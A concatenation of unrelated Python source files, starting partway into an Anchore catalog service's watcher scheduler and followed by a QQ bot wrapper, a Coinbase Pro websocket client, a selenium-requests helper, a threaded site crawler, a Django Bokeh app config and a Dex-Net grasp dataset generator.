the_cycle_timer = min_cycle_timer elif config_cycle_timer > max_cycle_timer: logger.warn("configured cycle timer for handler (" + str( watcher) + ") is greater than the allowed max (" + str( max_cycle_timer) + ") - using allowed max") the_cycle_timer = max_cycle_timer else: the_cycle_timer = config_cycle_timer watchers[watcher]['cycle_timer'] = the_cycle_timer except Exception as err: logger.warn( "exception setting custom cycle timer for handler (" + str(watcher) + ") - using default") watchers[watcher]['initialized'] = True if watcher not in watcher_threads: if watchers[watcher]['taskType']: # spin up a generic task watcher logger.debug("starting generic task thread") watcher_threads[watcher] = threading.Thread(target=watcher_func, args=[watcher], kwargs={}) watcher_threads[watcher].start() else: # spin up a specific looping watcher thread watcher_threads[watcher] = threading.Thread(target=watchers[watcher]['handler'], args=watchers[watcher]['args'], kwargs={'mythread': watchers[watcher]}) watcher_threads[watcher].start() all_ready = anchore_engine.clients.services.common.check_services_ready(['simplequeue']) if not all_ready: logger.info("simplequeue service not yet ready, will retry") elif time.time() - watchers[watcher]['last_queued'] > watchers[watcher]['cycle_timer']: rc = schedule_watcher(watcher) except Exception as err: logger.error(str(err)) finally: logger.debug("FIRING DONE: catalog_monitor") running = False last_run = time.time() logger.debug("exiting monitor thread") monitor_thread = None def monitor(*args, **kwargs): global monitor_thread try: donew = False if monitor_thread: if monitor_thread.isAlive(): logger.spew("MON: thread still running") else: logger.spew("MON: thread stopped running") donew = True monitor_thread.join() logger.spew("MON: thread joined: isAlive=" + str(monitor_thread.isAlive())) else: logger.spew("MON: no thread") donew = True if donew: logger.spew("MON: starting") monitor_thread = threading.Thread(target=monitor_func, kwargs=kwargs) monitor_thread.start() else: logger.spew("MON: skipping") except Exception as err: logger.warn("MON thread start exception: " + str(err)) class CatalogService(ApiService): __service_name__ = 'catalog' __spec_dir__ = pkg_resources.resource_filename(__name__, 'swagger') __monitor_fn__ = monitor def _register_instance_handlers(self): super()._register_instance_handlers() self.register_handler(LifeCycleStages.post_db, self._init_archive, {}) self.register_handler(LifeCycleStages.post_register, self._init_policies, {}) def _init_archive(self): try: archive.initialize(self.configuration) except Exception as err: logger.exception("Error initializing archive: check catalog configuration") raise err def _init_policies(self): """ Ensure all accounts have a default policy in place :return: """ with db.session_scope() as dbsession: mgr = manager_factory.for_session(dbsession) for account_dict in mgr.list_accounts(include_service=False): try: logger.info('Initializing a new account') userId = account_dict['name'] # Old keys are userId, now that maps to account name bundle_records = db_policybundle.get_all_byuserId(userId, session=dbsession) if not bundle_records: logger.debug("Account {} has no policy bundle - installing default".format(userId)) config = self.global_configuration if 'default_bundle_file' in config and os.path.exists(config['default_bundle_file']): logger.info("loading def bundle: " + str(config['default_bundle_file'])) try: default_bundle = {} with open(config['default_bundle_file'], 'r') as FH: default_bundle = json.loads(FH.read()) if default_bundle: bundle_url = archive.put_document(userId, 'policy_bundles', default_bundle['id'], default_bundle) policy_record = make_policy_record(userId, default_bundle, active=True) rc = db_policybundle.add(policy_record['policyId'], userId, True, policy_record, session=dbsession) if not rc: raise Exception("policy bundle DB add failed") except Exception as err: logger.error("could not load up default bundle for user - exception: " + str(err)) except Exception as err: raise Exception("unable to initialize default user data - exception: " + str(err)) watchers = { 'image_watcher': {'handler': handle_image_watcher, 'task_lease_id': 'image_watcher', 'taskType': 'handle_image_watcher', 'args': [], 'cycle_timer': 600, 'min_cycle_timer': 300, 'max_cycle_timer': 86400 * 7, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'repo_watcher': {'handler': handle_repo_watcher, 'task_lease_id': 'repo_watcher', 'taskType': 'handle_repo_watcher', 'args': [], 'cycle_timer': 60, 'min_cycle_timer': 60, 'max_cycle_timer': 86400 * 7, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'policy_eval': {'handler': handle_policyeval, 'task_lease_id': 'policy_eval', 'taskType': 'handle_policyeval', 'args': [], 'cycle_timer': 300, 'min_cycle_timer': 60, 'max_cycle_timer': 86400 * 2, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'analyzer_queue': {'handler': handle_analyzer_queue, 'task_lease_id': 'analyzer_queue', 'taskType': 'handle_analyzer_queue', 'args': [], 'cycle_timer': 5, 'min_cycle_timer': 1, 'max_cycle_timer': 7200, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'notifications': {'handler': handle_notifications, 'task_lease_id': 'notifications', 'taskType': 'handle_notifications', 'args': [], 'cycle_timer': 10, 'min_cycle_timer': 10, 'max_cycle_timer': 86400 * 2, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'vulnerability_scan': {'handler': handle_vulnerability_scan, 'task_lease_id': 'vulnerability_scan', 'taskType': 'handle_vulnerability_scan', 'args': [], 'cycle_timer': 300, 'min_cycle_timer': 60, 'max_cycle_timer': 86400 * 2, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'account_resource_cleanup': {'handler': handle_account_resource_cleanup, 'task_lease_id': 'account_resource_cleanup', 'taskType': 'handle_account_resource_cleanup', 'args': [], 'cycle_timer': 30, 'min_cycle_timer': 30, 'max_cycle_timer': 30, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'service_watcher': {'handler': handle_service_watcher, 'task_lease_id': False, 'taskType': None, 'args': [], 'cycle_timer': 10, 'min_cycle_timer': 1, 'max_cycle_timer': 300, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'service_heartbeat': {'handler': anchore_engine.subsys.servicestatus.handle_service_heartbeat, 'task_lease_id': False, 'taskType': None, 'args': [CatalogService.__service_name__], 'cycle_timer': 60, 'min_cycle_timer': 60, 'max_cycle_timer': 60, 'last_queued': 0, 'last_return': False, 'initialized': False}, 'handle_metrics': {'handler': handle_metrics, 'task_lease_id': False, 'taskType': None, 'args': [], 'cycle_timer': 60, 'min_cycle_timer': 60, 'max_cycle_timer': 60, 'last_queued': 0, 'last_return': False, 'initialized': False}, } watcher_task_template = { 'taskType': None, 'watcher': None, } watcher_threads = {}
__init__.py
# coding: UTF-8 import re import sys import threading import socket import collections from urllib import quote, unquote from circuits import handler from circuits.net.sockets import TCPServer reload(sys) sys.setdefaultencoding('utf-8') receivedMessage = collections.namedtuple('receivedMessage', ('sourceType', 'fromGroupID', 'fromID', 'content')) sendMessage = collections.namedtuple('sendMessage', ('destinationType', 'destinationID', 'content')) re_cq_special = re.compile(r'\[CQ:(face|emoji|at|shake|music|anonymous|image|record)(,\w+=[^]]+)?\]') class messagePreprocessor(TCPServer): @handler("read") def on_read(self, sock, data): self.qqMessageHandlerExecutor(data) return 0 def setMessageHandlers(self, handlers): self.messageHandlers = handlers def qqMessageHandlerExecutor(self, data): string = str(data) dataParts = string.split(" ") if dataParts[0] in ("group", "discuss"): msg = unquote(dataParts[3]).decode("gbk") sender = int(dataParts[2]) sendGroup = int(dataParts[1]) message = receivedMessage(sourceType=dataParts[0], fromGroupID=sendGroup, fromID=sender, content=msg) elif dataParts[0] == 'personal': msg = unquote(dataParts[2]).decode("gbk") sender = int(dataParts[1]) message = receivedMessage(sourceType=dataParts[0], fromGroupID=0, fromID=sender, content=msg) for i in self.messageHandlers: i(message) class coolqBot(): def __init__(self, py2cqPort, cq2pyPort): self.sendPort = py2cqPort self.receivePort = cq2pyPort self.messageHandlers = [] self.sock = socket.socket(type=socket.SOCK_DGRAM) self.sock.connect(("127.0.0.1", self.sendPort)) self.listener = messagePreprocessor(("0.0.0.0", self.receivePort)) self.listener.setMessageHandlers(self.messageHandlers) def send(self, sendMessage): self.sock.send(sendMessage.destinationType + " " + str(sendMessage.destinationID) + " " + quote(sendMessage.content.encode('utf-8'))) return 0 def listenerStarter(self): self.listener.start() def startListen(self): poll = threading.Thread(target=self.listenerStarter) poll.setDaemon(True) poll.start() def qqMessageHandler(self): def decorator(handler): self.messageHandlers.append(handler) return handler return decorator
websocket_client.py
# cbpro/WebsocketClient.py # original author: Daniel Paquin # mongo "support" added by Drew Rice # # # Template object to receive messages from the Coinbase Websocket Feed from __future__ import print_function import json import base64 import hmac import hashlib import time from threading import Thread from websocket import create_connection, WebSocketConnectionClosedException from pymongo import MongoClient from cbpro.cbpro_auth import get_auth_headers class WebsocketClient(object): def __init__( self, url="wss://ws-feed.pro.coinbase.com", products=None, message_type="subscribe", mongo_collection=None, should_print=True, auth=False, api_key="", api_secret="", api_passphrase="", # Make channels a required keyword-only argument; see pep3102 *, # Channel options: ['ticker', 'user', 'matches', 'level2', 'full'] channels): self.url = url self.products = products self.channels = channels self.type = message_type self.stop = True self.error = None self.ws = None self.thread = None self.auth = auth self.api_key = api_key self.api_secret = api_secret self.api_passphrase = api_passphrase self.should_print = should_print self.mongo_collection = mongo_collection def start(self): def _go(): self._connect() self._listen() self._disconnect() self.stop = False self.on_open() self.thread = Thread(target=_go) self.keepalive = Thread(target=self._keepalive) self.thread.start() def _connect(self): if self.products is None: self.products = ["BTC-USD"] elif not isinstance(self.products, list): self.products = [self.products] if self.url[-1] == "/": self.url = self.url[:-1] if self.channels is None: sub_params = {'type': 'subscribe', 'product_ids': self.products} else: sub_params = {'type': 'subscribe', 'product_ids': self.products, 'channels': self.channels} if self.auth: timestamp = str(time.time()) message = timestamp + 'GET' + '/users/self/verify' auth_headers = get_auth_headers(timestamp, message, self.api_key, self.api_secret, self.api_passphrase) sub_params['signature'] = auth_headers['CB-ACCESS-SIGN'] sub_params['key'] = auth_headers['CB-ACCESS-KEY'] sub_params['passphrase'] = auth_headers['CB-ACCESS-PASSPHRASE'] sub_params['timestamp'] = auth_headers['CB-ACCESS-TIMESTAMP'] self.ws = create_connection(self.url) self.ws.send(json.dumps(sub_params)) def _keepalive(self, interval=30): while self.ws.connected: self.ws.ping("keepalive") time.sleep(interval) def _listen(self): self.keepalive.start() while not self.stop: try: data = self.ws.recv() msg = json.loads(data) except ValueError as e: self.on_error(e) except Exception as e: self.on_error(e) else: self.on_message(msg) def _disconnect(self): try: if self.ws: self.ws.close() except WebSocketConnectionClosedException as e: pass finally: self.keepalive.join() self.on_close() def close(self): self.stop = True # will only disconnect after next msg recv self._disconnect() # force disconnect so threads can join self.thread.join() def on_open(self): if self.should_print: print("-- Subscribed! --\n") def on_close(self): if self.should_print: print("\n-- Socket Closed --") def on_message(self, msg): if self.should_print: print(msg) if self.mongo_collection: # dump JSON to given mongo collection self.mongo_collection.insert_one(msg) def on_error(self, e, data=None): self.error = e self.stop = True print('{} - data: {}'.format(e, data)) if __name__ == "__main__": import sys import cbpro import time class MyWebsocketClient(cbpro.WebsocketClient): def on_open(self): self.url = "wss://ws-feed.pro.coinbase.com/" self.products = ["BTC-USD", "ETH-USD"] self.message_count = 0 print("Let's count the messages!") def on_message(self, msg): print(json.dumps(msg, indent=4, sort_keys=True)) self.message_count += 1 def on_close(self): print("-- Goodbye! --") wsClient = MyWebsocketClient() wsClient.start() print(wsClient.url, wsClient.products) try: while True: print("\nMessageCount =", "%i \n" % wsClient.message_count) time.sleep(1) except KeyboardInterrupt: wsClient.close() if wsClient.error: sys.exit(1) else: sys.exit(0)
request.py
import json import socket import threading import warnings # add requests-html and eventuall parse out all mentions of requests if possible import requests_html import six import tldextract from selenium.common.exceptions import NoSuchWindowException, WebDriverException from six.moves import BaseHTTPServer from six.moves.urllib.parse import urlparse from requests_html import HTMLSession import requests as req_og FIND_WINDOW_HANDLE_WARNING = ( 'Created window handle could not be found reliably. Using less reliable ' 'alternative method. JavaScript redirects are not supported and an ' 'additional GET request might be made for the requested URL.' ) requests = requests_html headers = None update_headers_mutex = threading.Semaphore() update_headers_mutex.acquire() class SeleniumRequestsException(Exception): pass # Using a global value to pass around the headers dictionary reference seems to be the easiest way to get access to it, # since the HTTPServer doesn't keep an object of the instance of the HTTPRequestHandler class HTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): global headers headers = req_og.structures.CaseInsensitiveDict(self.headers if six.PY3 else self.headers.dict) update_headers_mutex.release() self.send_response(200) self.end_headers() # Immediately close the window as soon as it is loaded self.wfile.write(six.b('<script type="text/javascript">window.close();</script>')) # Suppress unwanted logging to stderr def log_message(self, format, *args): pass def get_unused_port(): socket_ = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_.bind(('', 0)) address, port = socket_.getsockname() socket_.close() return port def get_webdriver_request_headers(webdriver): # There's a small chance that the port was taken since the call of get_unused_port(), so make sure we try as often # as needed while True: port = get_unused_port() try: server = BaseHTTPServer.HTTPServer(('', port), HTTPRequestHandler) break except socket.error: pass threading.Thread(target=server.handle_request).start() original_window_handle = webdriver.current_window_handle webdriver.execute_script("window.open('http://127.0.0.1:%d/', '_blank');" % port) update_headers_mutex.acquire() # Not optional: Make sure that the webdriver didn't switch the window handle to the newly opened window. Behaviors # of different webdrivers seem to differ here. Workaround for Firefox: If a new window is opened via JavaScript as a # new tab, requesting self.current_url never returns. Explicitly switching to the current window handle again seems # to fix this issue. webdriver.switch_to.window(original_window_handle) global headers headers_ = headers headers = None # Remove the host header, which will simply contain the localhost address of the HTTPRequestHandler instance del headers_['host'] return headers_ def prepare_requests_cookies(webdriver_cookies): return {str(cookie['name']): str(cookie['value']) for cookie in webdriver_cookies} def get_tld(url): components = tldextract.extract(url) # Since the registered domain could not be extracted, assume that it's simply an IP and strip away the protocol # prefix and potentially trailing rest after "/" away. If it isn't, this fails gracefully for unknown domains, e.g.: # "http://domain.onion/" -> "domain.onion". If it doesn't look like a valid address at all, return the URL # unchanged. if not components.registered_domain: try: return url.split('://', 1)[1].split(':', 1)[0].split('/', 1)[0] except IndexError: return url return components.registered_domain def find_window_handle(webdriver, predicate): original_window_handle = webdriver.current_window_handle if predicate(webdriver): return original_window_handle # Start search beginning with the most recently added window handle: the chance is higher that this is the correct # one in most cases for window_handle in reversed(webdriver.window_handles): if window_handle == original_window_handle: continue # This exception can occur if the window handle was closed between accessing the window handles and attempting # to switch to it, in which case it can be silently ignored. try: webdriver.switch_to.window(window_handle) except NoSuchWindowException: continue if predicate(webdriver): return window_handle # Simply switch back to the original window handle and return None if no matching window handle was found webdriver.switch_to.window(original_window_handle) def make_match_domain_predicate(domain): def predicate(webdriver): try: return get_tld(webdriver.current_url) == domain # This exception can occur if the current window handle was closed except NoSuchWindowException: pass return predicate class RequestsSessionMixin(object): def __init__(self, *args, **kwargs): super(RequestsSessionMixin, self).__init__(*args, **kwargs) self.requests_session = requests.HTMLSession() self.__has_webdriver_request_headers = False self.__is_phantomjs = self.name == 'phantomjs' self.__is_phantomjs_211 = self.__is_phantomjs and self.capabilities['version'] == '2.1.1' # Workaround for PhantomJS bug: https://github.com/ariya/phantomjs/issues/14047 def add_cookie(self, cookie_dict): try: super(RequestsSessionMixin, self).add_cookie(cookie_dict) except WebDriverException as exception: details = json.loads(exception.msg) if not (self.__is_phantomjs_211 and details['errorMessage'] == 'Unable to set Cookie'): raise def request(self, method, url, **kwargs): if not self.__has_webdriver_request_headers: # Workaround for Chrome bug: https://bugs.chromium.org/p/chromedriver/issues/detail?id=1077 if self.name == 'chrome': window_handles_before = len(self.window_handles) self.requests_session.headers = get_webdriver_request_headers(self) # Wait until the newly opened window handle is closed again, to prevent switching to it just as it is # about to be closed while len(self.window_handles) > window_handles_before: pass else: self.requests_session.headers = get_webdriver_request_headers(self) self.__has_webdriver_request_headers = True # Delete cookies from the request headers, to prevent overwriting manually set cookies later. This should # only happen when the webdriver has cookies set for the localhost if 'cookie' in self.requests_session.headers: del self.requests_session.headers['cookie'] original_window_handle = None opened_window_handle = None requested_tld = get_tld(url) if not get_tld(self.current_url) == requested_tld: original_window_handle = self.current_window_handle # Try to find an existing window handle that matches the requested top-level domain predicate = make_match_domain_predicate(requested_tld) window_handle = find_window_handle(self, predicate) # Create a new window handle manually in case it wasn't found if not window_handle: previous_window_handles = set(self.window_handles) components = urlparse(url) self.execute_script("window.open('%s://%s/', '_blank');" % (components.scheme, components.netloc)) difference = set(self.window_handles) - previous_window_handles if len(difference) == 1: opened_window_handle = difference.pop() self.switch_to.window(opened_window_handle) else: warnings.warn(FIND_WINDOW_HANDLE_WARNING) opened_window_handle = find_window_handle(self, predicate) # Window handle could not be found during first pass. There might have been a redirect and the top- # level domain changed if not opened_window_handle: response = self.requests_session.get(url, stream=True) current_tld = get_tld(response.url) if current_tld != requested_tld: predicate = make_match_domain_predicate(current_tld) opened_window_handle = find_window_handle(self, predicate) if not opened_window_handle: raise SeleniumRequestsException('window handle could not be found') # Acquire WebDriver's cookies and merge them with potentially passed cookies cookies = prepare_requests_cookies(self.get_cookies()) if 'cookies' in kwargs: cookies.update(kwargs['cookies']) kwargs['cookies'] = cookies response = self.requests_session.request(method, url, **kwargs) # Set cookies received from the HTTP response in the WebDriver current_tld = get_tld(self.current_url) for cookie in response.cookies: # Setting domain to None automatically instructs most webdrivers to use the domain of the current window # handle cookie_dict = {'domain': None, 'name': cookie.name, 'value': cookie.value, 'secure': cookie.secure} if cookie.expires: cookie_dict['expiry'] = cookie.expires if cookie.path_specified: cookie_dict['path'] = cookie.path # Workaround for PhantomJS bug: PhantomJS doesn't accept None if self.__is_phantomjs: cookie_dict['domain'] = current_tld self.add_cookie(cookie_dict) # Don't keep cookies in the Requests session, only use the WebDriver's self.requests_session.cookies.clear() if opened_window_handle: self.close() if original_window_handle: self.switch_to.window(original_window_handle) return response
crawler.py
""" This script allows you to create tree maps of websites easily by the click of a button. The time the script will take to map a website depends on how large the site is. """ __author__ = "BWBellairs" __version__ = "0.1.6" # Modules / Packages required are listed below import threading import urllib import time import bs4 ignoredTags = ["meta", "img", "video", "audio", "script", "style"] class web_crawler(object): def __init__(self, home, blockExternal=True, crawlerAmount=1): """ home is the origin point in a website where the crawler will start from """ self.home = home self.domain = home.split(":")[1].strip("/") self.tld = self.domain.split(".")[1] # Task list allowing crawlers to communicate # We're adding self.home here as the point of origin self.tasks = [ { "page": self.home, "assigned": False, } ] # Don't crawl outside of the site self.blockExternalLinks = blockExternal # Variable containing the maximum amount of crawlers self.maxCrawlers = crawlerAmount # A dictionary containing all the crawler threads self.crawlers = [] # List to keep all links found and not cause any crawlers to go over the same link self.allLinks = [] def run(self): self.threadsRun = True for index in range(self.maxCrawlers): strIndex = str(index) # For parsing into crawlers as name self.crawlers.append( threading.Thread(target=self.crawler, args=(strIndex,)) ) # We don't need daemon threads self.crawlers[index].setDaemon(False) # Starting the crawler thread self.crawlers[index].start() tasksOld = len(self.tasks) while True: time.sleep(10) tasksNew = len(self.tasks) if tasksNew == tasksOld: self.threadsRun = False # Stop threads one tasks have stopped coming in. Site has finished being crawled. dead = 0 index = 0 while True: if not self.crawlers[index].isAlive(): dead += 1 if len(self.crawlers) > (index + 1): index += 1 if dead == len(self.crawlers): print("All Threads Killed - Crawler Stopped") raise SystemExit # Allow the program to exit tasksOld = len(self.tasks) # TODO: Check that all threads have stopped before exiting. thread.isAlive() # TODO: Fix relative threads. some hrefs="/blah" which needs to be appended onto self.home def crawler(self, name): """ Individual crawlers can crawl a website more efficiently in a smaller amount of time """ name = "[Crawler-{0}]".format(name) # This crawler's name index = 0 # I'm not using a for loop as they are limited to a range indexDone = -1 # This is used to keep track of which index this crawler has finished with while True: if not self.tasks[index]["assigned"]: self.tasks[index]["assigned"] = True # Assign the task to let the other threads know we're handling this one. currentTask = self.tasks[index] # Easier to reference this dictionary page = currentTask["page"] # Easier to use this shorter variable name. Trust me. print(page) if page in self.allLinks: # Don't want to search the same website indexDone = index # Don't crawl a lage that's already been crawled elif not page.startswith(self.home) and self.blockExternalLinks: # Avoid External Links indexDone = index # Continue with the next task as we don't want to crawl this link else: pageSource = urllib.urlopen(page) # Get the page's content soup = bs4.BeautifulSoup(pageSource, "html.parser") # Parse the page as html tags = soup.find_all(href=True) # Finds all tags and put them into a list tags = [tag for tag in tags if tag.name not in ignoredTags] links = [tag["href"] for tag in tags] # Adding links to self.tasks for crawling and to the current page for reference self.tasks[index]["links"] = links appendedLinks = [] # This list is used to avoid duplicate linkss found on a page for link in links: # Iterating over the list of links found on the current page if not link in self.allLinks and link != page and link not in appendedLinks: # Make sure no duplicate links are appended self.tasks.append( # Appending the page to self.tasks so another thread can handle it { "page": link, "assigned": False, } ) appendedLinks.append(link) self.allLinks.append(page) # Keep track of all pages browsed indexDone = index # We've done crawling this page if not self.threadsRun: # Stop this thread one this variable is True print("Ended") return elif len(self.tasks) > (index + 1) and index == indexDone: index += 1 # Look at the next task if it is available continue # Go to start of loop # Example main = web_crawler("https://google.co.uk", True, 2) main.run()
apps.py
from django.apps import AppConfig class BokehApps(AppConfig): name = 'bkapps' verbose_name = "Bokeh Apps" # based on: https://github.com/bokeh/bokeh/blob/0.12.16/examples/howto/server_embed/flask_embed.py # try: # import asyncio # except ImportError: # raise RuntimeError("This example requries Python3 / asyncio") # import os # import sys # from django.apps import AppConfig # from django.conf import settings # from bokeh.server.server import Server, BaseServer # from bokeh.application import Application # from bokeh.application.handlers import FunctionHandler # from bokeh.server.tornado import BokehTornado # from bokeh.server.util import bind_sockets # from tornado.httpserver import HTTPServer # from tornado.ioloop import IOLoop # # from tornado.ioloop import IOLoop # path = os.path.abspath(os.path.dirname(__file__)) # if not path in sys.path: # sys.path.append(path) # from sliders import bk_sliders # import bk_config # from flood_msmt import msmt_sim_app # # import the logging library # import logging # # Get an instance of a logger # logger = logging.getLogger(__name__) # def bk_worker(): # # Note: num_procs must be 1; see e.g. flask_gunicorn_embed.py for num_procs>1 # bk_address = bk_config.server['address'] # bk_port = bk_config.server['port'] # ws_origin = 'dkhydrotech.com:8000' # x_headers = True # logging.error('starting Bokeh server...') # asyncio.set_event_loop(asyncio.new_event_loop()) # if settings.DEBUG: # # server = Server({'/bk_sliders_app': bk_sliders.app, # # '/msmt_error_simulation': msmt_sim_app.app}, # # io_loop=IOLoop(), # # allow_websocket_origin=['127.0.0.1:8000'], # # num_procs=3 # # ) # bokeh_tornado = BokehTornado({'/bk_sliders_app': bk_sliders.app, # '/msmt_error_simulation': msmt_sim_app.app}, # extra_websocket_origins=['127.0.0.1:8000']) # bokeh_http = HTTPServer(bokeh_tornado) # bokeh_http.add_sockets(sockets) # server = BaseServer(IOLoop.current(), bokeh_tornado, bokeh_http) # server.start() # server.io_loop.start() # else: # # server = Server({'/bk_sliders_app': bk_sliders.app}, # # io_loop=IOLoop(), # # address=bk_config.server['address'], # # port=bk_config.server['port'], # # allow_websocket_origin=["www.dkhydrotech.com"], # # use_xheaders=x_headers # # ) # bokeh_tornado = BokehTornado({'/bk_sliders_app': bk_sliders.app, # '/msmt_error_simulation': msmt_sim_app.app}, # prefix='http://127.0.0.1:5006', # extra_websocket_origins=['www.dkhydrotech.com'], # # address=bk_config.server['address'], # # port=bk_config.server['port'], # # use_xheaders=x_headers # ) # bokeh_http = HTTPServer(bokeh_tornado) # bokeh_http.add_sockets(sockets) # server = BaseServer(IOLoop.current(), # bokeh_tornado, # bokeh_http) # server.start() # server.io_loop.start() # logging.info('######## Server started... +++++++++++') # try: # server.start() # server.io_loop.start() # logging.error('Bokeh server started') # except Exception as e: # logging.error('Bokeh Server Exception:') # logging.error(e) # class BokehApps(AppConfig): # name = 'bkapps' # def read(self): # # For development, django provides autoreload, which results # # in ready() being called twice on startup. We only want one # # bokeh server, though. Trying to start a second bokeh server # # just produces an error that's skipped over (port already in # # use). Alternatively, using "python manage.py runserver # # --noreload" avoids the problem. Otherwise, could add some # # kind of lock... # # from threading import Thread # # Thread(target=bk_worker).start() # # can't use shortcuts here, since we are passing to low level BokehTornado # # bkapp = Application(FunctionHandler(msmt_sim_app.app)) # bkapp = Application(FunctionHandler(bk_sliders.app)) # # This is so that if this app is run using something like "gunicorn -w 4" then # # each process will listen on its own port # sockets, port = bind_sockets("127.0.0.1", 0) # print('#####################') # print('#####################') # print('#####################') # print('#####################') # print('') # print(sockets, port) # print('') # print('#####################') # t = Thread(target=bk_worker) # t.daemon = True # t.start() # class Sliders(AppConfig): # name = 'bkapps' # def ready(self): # # For development, django provides autoreload, which results # # in ready() being called twice on startup. We only want one # # bokeh server, though. Trying to start a second bokeh server # # just produces an error that's skipped over (port already in # # use). Alternatively, using "python manage.py runserver # # --noreload" avoids the problem. Otherwise, could add some # # kind of lock... # from threading import Thread # Thread(target=bk_worker).start()
generate-dataset-canny.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author : Hongzhuo Liang # E-mail : liang@informatik.uni-hamburg.de # Description: # Date : 20/05/2018 2:45 PM # File Name : generate-dataset-canny.py import numpy as np import sys import pickle from dexnet.grasping.quality import PointGraspMetrics3D from dexnet.grasping import GaussianGraspSampler, AntipodalGraspSampler, UniformGraspSampler, GpgGraspSampler from dexnet.grasping import RobotGripper, GraspableObject3D, GraspQualityConfigFactory, PointGraspSampler import dexnet from autolab_core import YamlConfig from meshpy.obj_file import ObjFile from meshpy.sdf_file import SdfFile import os import multiprocessing import matplotlib.pyplot as plt plt.switch_backend('agg') # for the convenient of run on remote computer def get_file_name(file_dir_): file_list = [] for root, dirs, files in os.walk(file_dir_): if root.count('/') == file_dir_.count('/') + 1: file_list.append(root) file_list.sort() return file_list def do_job(i): object_name = file_list_all[i][len(home_dir) + 35:] good_grasp = multiprocessing.Manager().list() p_set = [multiprocessing.Process(target=worker, args=(i, 100, 20, good_grasp)) for _ in range(50)] # grasp_amount per friction: 20*40 [p.start() for p in p_set] [p.join() for p in p_set] good_grasp = list(good_grasp) good_grasp_file_name = "./generated_grasps/{}_{}_{}".format(filename_prefix, str(object_name), str(len(good_grasp))) with open(good_grasp_file_name + '.pickle', 'wb') as f: pickle.dump(good_grasp, f) tmp = [] for grasp in good_grasp: grasp_config = grasp[0].configuration score_friction = grasp[1] score_canny = grasp[2] tmp.append(np.concatenate([grasp_config, [score_friction, score_canny]])) np.save(good_grasp_file_name + '.npy', np.array(tmp)) print("finished job ", object_name) def worker(i, sample_nums, grasp_amount, good_grasp): object_name = file_list_all[i][len(home_dir) + 35:] print('a worker of task {} start'.format(object_name)) yaml_config = YamlConfig(home_dir + "/code/grasp-pointnet/dex-net/test/config.yaml") gripper_name = 'robotiq_85' gripper = RobotGripper.load(gripper_name, home_dir + "/code/grasp-pointnet/dex-net/data/grippers") grasp_sample_method = "antipodal" if grasp_sample_method == "uniform": ags = UniformGraspSampler(gripper, yaml_config) elif grasp_sample_method == "gaussian": ags = GaussianGraspSampler(gripper, yaml_config) elif grasp_sample_method == "antipodal": ags = AntipodalGraspSampler(gripper, yaml_config) elif grasp_sample_method == "gpg": ags = GpgGraspSampler(gripper, yaml_config) elif grasp_sample_method == "point": ags = PointGraspSampler(gripper, yaml_config) else: raise NameError("Can't support this sampler") print("Log: do job", i) if os.path.exists(str(file_list_all[i]) + "/google_512k/nontextured.obj"): of = ObjFile(str(file_list_all[i]) + "/google_512k/nontextured.obj") sf = SdfFile(str(file_list_all[i]) + "/google_512k/nontextured.sdf") else: print("can't find any obj or sdf file!") raise NameError("can't find any obj or sdf file!") mesh = of.read() sdf = sf.read() obj = GraspableObject3D(sdf, mesh) print("Log: opened object", i + 1, object_name) force_closure_quality_config = {} canny_quality_config = {} fc_list_sub1 = np.arange(2.0, 0.75, -0.4) fc_list_sub2 = np.arange(0.5, 0.36, -0.05) fc_list = np.concatenate([fc_list_sub1, fc_list_sub2]) for value_fc in fc_list: value_fc = round(value_fc, 2) yaml_config['metrics']['force_closure']['friction_coef'] = value_fc yaml_config['metrics']['robust_ferrari_canny']['friction_coef'] = value_fc force_closure_quality_config[value_fc] = GraspQualityConfigFactory.create_config( yaml_config['metrics']['force_closure']) canny_quality_config[value_fc] = GraspQualityConfigFactory.create_config( yaml_config['metrics']['robust_ferrari_canny']) good_count_perfect = np.zeros(len(fc_list)) count = 0 minimum_grasp_per_fc = grasp_amount while np.sum(good_count_perfect < minimum_grasp_per_fc) != 0: grasps = ags.generate_grasps(obj, target_num_grasps=sample_nums, grasp_gen_mult=10, vis=False, random_approach_angle=True) count += len(grasps) for j in grasps: tmp, is_force_closure = False, False for ind_, value_fc in enumerate(fc_list): value_fc = round(value_fc, 2) tmp = is_force_closure is_force_closure = PointGraspMetrics3D.grasp_quality(j, obj, force_closure_quality_config[value_fc], vis=False) if tmp and not is_force_closure: if good_count_perfect[ind_ - 1] < minimum_grasp_per_fc: canny_quality = PointGraspMetrics3D.grasp_quality(j, obj, canny_quality_config[ round(fc_list[ind_ - 1], 2)], vis=False) good_grasp.append((j, round(fc_list[ind_ - 1], 2), canny_quality)) good_count_perfect[ind_ - 1] += 1 break elif is_force_closure and value_fc == fc_list[-1]: if good_count_perfect[ind_] < minimum_grasp_per_fc: canny_quality = PointGraspMetrics3D.grasp_quality(j, obj, canny_quality_config[value_fc], vis=False) good_grasp.append((j, value_fc, canny_quality)) good_count_perfect[ind_] += 1 break print('Object:{} GoodGrasp:{}'.format(object_name, good_count_perfect)) object_name_len = len(object_name) object_name_ = str(object_name) + " " * (25 - object_name_len) if count == 0: good_grasp_rate = 0 else: good_grasp_rate = len(good_grasp) / count print('Gripper:{} Object:{} Rate:{:.4f} {}/{}'. format(gripper_name, object_name_, good_grasp_rate, len(good_grasp), count)) if __name__ == '__main__': if len(sys.argv) > 1: filename_prefix = sys.argv[1] else: filename_prefix = "default" home_dir = os.environ['HOME'] file_dir = home_dir + "/dataset/ycb_meshes_google/objects" file_list_all = get_file_name(file_dir) object_numbers = file_list_all.__len__() job_list = np.arange(object_numbers) job_list = list(job_list) pool_size = 1 # number of jobs did at same time assert (pool_size <= len(job_list)) # Initialize pool pool = [] for _ in range(pool_size): job_i = job_list.pop(0) pool.append(multiprocessing.Process(target=do_job, args=(job_i,))) [p.start() for p in pool] # refill while len(job_list) > 0: for ind, p in enumerate(pool): if not p.is_alive(): pool.pop(ind) job_i = job_list.pop(0) p = multiprocessing.Process(target=do_job, args=(job_i,)) p.start() pool.append(p) break print('All job done.')
low_level_interface.py
